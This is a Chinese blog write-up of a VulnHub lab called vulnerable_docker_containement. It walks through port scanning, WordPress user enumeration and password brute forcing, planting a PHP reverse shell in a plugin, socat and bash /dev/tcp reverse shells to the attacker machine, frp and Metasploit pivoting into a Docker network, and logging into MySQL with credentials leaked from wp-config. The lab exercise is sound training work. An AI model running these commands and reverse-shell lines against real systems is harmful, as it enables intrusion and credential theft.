• 博客园logo
  • 会员
  • 周边
  • 新闻
  • 博问
  • 闪存
  • 赞助商
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录
驿般般
博客园    首页    新随笔    联系   管理    订阅  订阅

vulnhub-vulnerable_docker_containement通关教程

扫出我们的靶机是167

nmap 192.168.135.0/24 -sP

这里我们发现22端口,初步怀疑80端口修改成了8000

Nmap 192.168.135.167

这里http服务端口果然是8000

nmap 192.168.135.167 -p- -A

访问页面,我们直接用wpscan扫一下,因为我们nmap扫到了他的指纹CMS,可以使用wpscan。

这里我们扫出了bob用户

wpscan --url http://192.168.135.167:8000/ -eu

我们接着用dirb扫出目录,有了用户名信息,我们看看有没有登陆界面。

dirb http://192.168.135.167:8000

通过扫到的信息我们发现登录界面,对于这个界面我们很是熟悉了,wordpress。

从github下载脚本和字典破败bob

这个是一个python2的脚本,而且别忘了虽然就一个bob用户,但是还要给他单独一个字典做用户名。这里我们爆出密码Welcome1

python2 wpforce.py -i user.txt -w 10-million-password-list-top-10000.txt -u http://192.168.135.167:8000/

到了这里我们就很简单了,上传php-reverse-shell.php拿到反弹的shell就行

Locate php-reverse-shell.php

cp /usr/share/webshells/php/php-reverse-shell.php .

此时修改IP和监听端口上传访问就可以

我靠,我发现个问题,我的靶场是php7.13,网上的教程都是5开头。。。我的shell上传不成功。没事我们可以修改hello dolly

直接把全部代码复制粘贴进去,然后运行,监听端口就拿到www-data的shell了。

尝试那稳定pty时发现没有安装python,但是安装了curl我们可以通过socat来修复pty。

Python -m http.server 8000

Curl -O http://192.168.135.155:8000/socat

Chmod 777 socat

HOME=/dev/shm ./socat tcp:192.168.135.155:9998 exec:'/bin/bash -li',pty,stderr,sigint,sighup,sigquit,sane

修复pty,获得稳定的shell

Script -qc bash /dev/null

Stty raw -echo; fg

Export TERM=xterm

既然CMS是wordpress,那我们就直接看看配置文件,一般都会有mysql的信息泄露出来的。

Cd /var/www/html

Cat wp-config.php

简单看看网卡信息,发现还有东西,这个。。。一台靶机怎么会有内网信息的???

Ip r

Ip a

Ip neigh

这个我们之前第一次打跳板机时就用过for循环来探测过内网存活主机,虽然我还是没搞懂原理,但是下一步我们就要看看他们开放的端口。

for i in {1..254}; do (ping -c 1 172.18.0.${i} | grep "bytes from" | grep -v "Unreachable" &); done;

接下来我们搞一个脚本,用curl来下载

Curl -O -# http://192.168.135.155:8000/bash.sh

Chmod 777 bash.sh

直接运行脚本我们就发现他们存活的端口啊。这里我先说一下,我们会使用frp进行内网穿透,但是这个frp很容易使得8022端口崩溃,拿过一次shell后不可退出,退出了端口就会关闭,再也拿不到shell(恢复快照),但是我们也能用MSF来拿shell,这个和frp不一样,不会崩溃。

修改frpc.ini文件

Frps.ini文件不用修改。。。

将客户端上传至靶机,修改权限,启动服务端和客户端就能互联了,记得想让kali命令走代理就要设置/etc/proxychains4.conf

Curl -O -# http://192.168.135.155:8000/frpc

Chmod 777 frpc

那时候卡在这里很久,都研究好久小有成效>_<但是问题不是出在这里,问题是你第一次拿到shell,或是访问到ssh后端口就会断开,我们必须重新一次拿shell提权到rootshell,第一次确实不让人满意。。。但是MSF确实是可以。

./frps -c frps.ini

./frpc -c frpc.ini

让命令走代理777,不然没用。。。

Gedit /etc/proxychains4.conf

根据我们之前探测到的IP和开放端口进行扫描,我们发现这里存在node.js文件

当然我们浏览器想要访问到网站那就要加代理。。。让流量走7777端口。Proxychains是命令走的代理不是一个概念。

这里我们用的是frp,我第一次打端口就关闭了我以为是我的问题,结果是靶场这样设计,所以我们进去直接拿shell,kali先监听9988

Nc -vlp 9988

然后我们访问浏览器直接输入命令拿到shell,不能退出!!!不然所有步骤就要重来。

这里我们只是进到了容器内部。我们要逃逸出来。

Bash -I >& /dev/tcp/192.168.135.155/9988 0>&1

哎呀,我无法下载curl,拉取我本地的dockers进去,这一步卡死了,还好有msf进行渗透。

当退出一次shell后,8022端口就会关闭,不是frp的问题,我第一次打就是因为端口关闭了访问不到了,我一直以为是我frp有问题。。。但是没有事,我们还有MSF来进行渗透。

进入MSF(msfconsole)选择攻击(exploit)模块multi/handler,查看必要的配置信息show options

根据要求设置必要参数,运行就能连接会话。

Set payload php/reverse_php

Set lhost 192.168.135.155

Set lport 1234 (这个和我们上传的shell文件一样)

Exploit -j

这个会话不稳定,我进去一次后就断了,再打一次ID变为2,后续不变。。。

Sessions -i

获得wendingshell,直接用这个会话可以执行ipconfg等命令。

Use post/multi/manage/shell_to_meterpreter

Set session 1

run

这个sessions 2就非常稳定还能执行命令

接下来就是添加路由表了

Run autoroute -s 172.18.0.0/24

Run autoroute -p

我们开始扫描IP开放的端口

Use auxiliary/scanner/portscan/tcp

Set rhost 172.18.0.0/24

Set session 2

run

最后配置代理,让kali的命令也走代理就行了

use auxiliary/server/socks_proxy

set SRVPORT 1080

set session 2

run

连上了mysql说明代理什么的都没有问题。。

proxychains mysql -u wordpress -pWordPressISBest -h 172.18.0.3

posted on 2026-10-29 20:35  驿般般  阅读(4)  评论(0)    收藏  举报
刷新页面返回顶部
博客园  ©  2004-2026
浙公网安备 33010602011771号 浙ICP备2021040463号-3